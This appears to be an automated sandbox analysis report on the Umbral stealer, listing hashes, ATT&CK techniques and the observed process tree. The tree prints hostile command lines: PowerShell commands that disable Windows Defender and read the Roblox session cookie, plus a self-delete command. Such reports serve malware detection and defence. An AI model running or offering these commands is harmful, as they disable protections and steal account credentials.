umbral | d6c6071e9ddf1c01281663073fe2a9fba3d3c4046975becbb0f6f9fa81cab6d3

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-12-2024 01:23

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General

Target

Umbral.exe
Size

229KB
MD5

01e9ef5cd813c3738e9022a585850003
SHA1

e2e6b6c2784bbb7e27ba99ae16c2552e9af83e35
SHA256

d6c6071e9ddf1c01281663073fe2a9fba3d3c4046975becbb0f6f9fa81cab6d3
SHA512

76249812653272bf4de18bb46b28be191d7fb7806a1275bb14d03c5f75ea0e470a44d526fc0fdd9dfc6b357114f81d094b6c2e346a86fd9d3c5de59a06b294d8
SSDEEP

6144:9loZM9rIkd8g+EtXHkv/iD4cG69oOJBi+HaIJtM2jb8e1m7i:foZOL+EP8cG69oOJBi+HaIJtMgR

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/632-1-0x0000023C05BA0000-0x0000023C05BE0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1676	powershell.exe
3816	powershell.exe
1700	powershell.exe
736	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
19	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4248	cmd.exe
3528	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2052	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3528	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1676	powershell.exe
1676	powershell.exe
3816	powershell.exe
3816	powershell.exe
1700	powershell.exe
1700	powershell.exe
4976	powershell.exe
4976	powershell.exe
736	powershell.exe
736	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	632	Umbral.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeIncreaseQuotaPrivilege	4640	wmic.exe
Token: SeSecurityPrivilege	4640	wmic.exe
Token: SeTakeOwnershipPrivilege	4640	wmic.exe
Token: SeLoadDriverPrivilege	4640	wmic.exe
Token: SeSystemProfilePrivilege	4640	wmic.exe
Token: SeSystemtimePrivilege	4640	wmic.exe
Token: SeProfSingleProcessPrivilege	4640	wmic.exe
Token: SeIncBasePriorityPrivilege	4640	wmic.exe
Token: SeCreatePagefilePrivilege	4640	wmic.exe
Token: SeBackupPrivilege	4640	wmic.exe
Token: SeRestorePrivilege	4640	wmic.exe
Token: SeShutdownPrivilege	4640	wmic.exe
Token: SeDebugPrivilege	4640	wmic.exe
Token: SeSystemEnvironmentPrivilege	4640	wmic.exe
Token: SeRemoteShutdownPrivilege	4640	wmic.exe
Token: SeUndockPrivilege	4640	wmic.exe
Token: SeManageVolumePrivilege	4640	wmic.exe
Token: 33	4640	wmic.exe
Token: 34	4640	wmic.exe
Token: 35	4640	wmic.exe
Token: 36	4640	wmic.exe
Token: SeIncreaseQuotaPrivilege	4640	wmic.exe
Token: SeSecurityPrivilege	4640	wmic.exe
Token: SeTakeOwnershipPrivilege	4640	wmic.exe
Token: SeLoadDriverPrivilege	4640	wmic.exe
Token: SeSystemProfilePrivilege	4640	wmic.exe
Token: SeSystemtimePrivilege	4640	wmic.exe
Token: SeProfSingleProcessPrivilege	4640	wmic.exe
Token: SeIncBasePriorityPrivilege	4640	wmic.exe
Token: SeCreatePagefilePrivilege	4640	wmic.exe
Token: SeBackupPrivilege	4640	wmic.exe
Token: SeRestorePrivilege	4640	wmic.exe
Token: SeShutdownPrivilege	4640	wmic.exe
Token: SeDebugPrivilege	4640	wmic.exe
Token: SeSystemEnvironmentPrivilege	4640	wmic.exe
Token: SeRemoteShutdownPrivilege	4640	wmic.exe
Token: SeUndockPrivilege	4640	wmic.exe
Token: SeManageVolumePrivilege	4640	wmic.exe
Token: 33	4640	wmic.exe
Token: 34	4640	wmic.exe
Token: 35	4640	wmic.exe
Token: 36	4640	wmic.exe
Token: SeIncreaseQuotaPrivilege	4652	wmic.exe
Token: SeSecurityPrivilege	4652	wmic.exe
Token: SeTakeOwnershipPrivilege	4652	wmic.exe
Token: SeLoadDriverPrivilege	4652	wmic.exe
Token: SeSystemProfilePrivilege	4652	wmic.exe
Token: SeSystemtimePrivilege	4652	wmic.exe
Token: SeProfSingleProcessPrivilege	4652	wmic.exe
Token: SeIncBasePriorityPrivilege	4652	wmic.exe
Token: SeCreatePagefilePrivilege	4652	wmic.exe
Token: SeBackupPrivilege	4652	wmic.exe
Token: SeRestorePrivilege	4652	wmic.exe
Token: SeShutdownPrivilege	4652	wmic.exe
Token: SeDebugPrivilege	4652	wmic.exe
Token: SeSystemEnvironmentPrivilege	4652	wmic.exe
Token: SeRemoteShutdownPrivilege	4652	wmic.exe
Token: SeUndockPrivilege	4652	wmic.exe
Token: SeManageVolumePrivilege	4652	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 632 wrote to memory of 4836	632	Umbral.exe	83
PID 632 wrote to memory of 4836	632	Umbral.exe	83
PID 632 wrote to memory of 1676	632	Umbral.exe	85
PID 632 wrote to memory of 1676	632	Umbral.exe	85
PID 632 wrote to memory of 3816	632	Umbral.exe	87
PID 632 wrote to memory of 3816	632	Umbral.exe	87
PID 632 wrote to memory of 1700	632	Umbral.exe	89
PID 632 wrote to memory of 1700	632	Umbral.exe	89
PID 632 wrote to memory of 4976	632	Umbral.exe	91
PID 632 wrote to memory of 4976	632	Umbral.exe	91
PID 632 wrote to memory of 4640	632	Umbral.exe	93
PID 632 wrote to memory of 4640	632	Umbral.exe	93
PID 632 wrote to memory of 4652	632	Umbral.exe	97
PID 632 wrote to memory of 4652	632	Umbral.exe	97
PID 632 wrote to memory of 3272	632	Umbral.exe	99
PID 632 wrote to memory of 3272	632	Umbral.exe	99
PID 632 wrote to memory of 736	632	Umbral.exe	101
PID 632 wrote to memory of 736	632	Umbral.exe	101
PID 632 wrote to memory of 2052	632	Umbral.exe	103
PID 632 wrote to memory of 2052	632	Umbral.exe	103
PID 632 wrote to memory of 4248	632	Umbral.exe	105
PID 632 wrote to memory of 4248	632	Umbral.exe	105
PID 4248 wrote to memory of 3528	4248	cmd.exe	107
PID 4248 wrote to memory of 3528	4248	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4836	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:632
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4976
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4640
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4652
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:736
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
2af06a6b36db9473e4a7d9c7ab72b70b

SHA1
8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

SHA256
18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

SHA512
3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
93cc6eec8dea64ae8438a01c62891700

SHA1
2f0d90d0dd6ec52c059d9ab762e808993b2e21f8

SHA256
d1fd2836c256db6061297b626f5d528225743a3c16ec8df2db4ef61415ff1110

SHA512
87be23a99476d72124ffce88f26f5d1b09bdb37135fdd916a9eee614b0edcd653167313bfb7081d315a81c670c8d84f6956d113f90708707837e8154e92d43af

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vd4nokbs.rn0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/632-72-0x0000023C07940000-0x0000023C0794A000-memory.dmp

Filesize
40KB

Download
memory/632-35-0x0000023C07960000-0x0000023C0797E000-memory.dmp

Filesize
120KB

Download
memory/632-94-0x00007FFC4F9C0000-0x00007FFC50481000-memory.dmp

Filesize
10.8MB

Download
memory/632-93-0x0000023C204B0000-0x0000023C20659000-memory.dmp

Filesize
1.7MB

Download
memory/632-2-0x00007FFC4F9C0000-0x00007FFC50481000-memory.dmp

Filesize
10.8MB

Download
memory/632-33-0x0000023C200B0000-0x0000023C20126000-memory.dmp

Filesize
472KB

Download
memory/632-34-0x0000023C20130000-0x0000023C20180000-memory.dmp

Filesize
320KB

Download
memory/632-73-0x0000023C079A0000-0x0000023C079B2000-memory.dmp

Filesize
72KB

Download
memory/632-1-0x0000023C05BA0000-0x0000023C05BE0000-memory.dmp

Filesize
256KB

Download
memory/632-0-0x00007FFC4F9C3000-0x00007FFC4F9C5000-memory.dmp

Filesize
8KB

Download
memory/1676-4-0x0000024FEFE00000-0x0000024FEFE22000-memory.dmp

Filesize
136KB

Download
memory/1676-15-0x00007FFC4F9C0000-0x00007FFC50481000-memory.dmp

Filesize
10.8MB

Download
memory/1676-14-0x00007FFC4F9C0000-0x00007FFC50481000-memory.dmp

Filesize
10.8MB

Download
memory/1676-3-0x00007FFC4F9C0000-0x00007FFC50481000-memory.dmp

Filesize
10.8MB

Download
memory/1676-18-0x00007FFC4F9C0000-0x00007FFC50481000-memory.dmp

Filesize
10.8MB

Download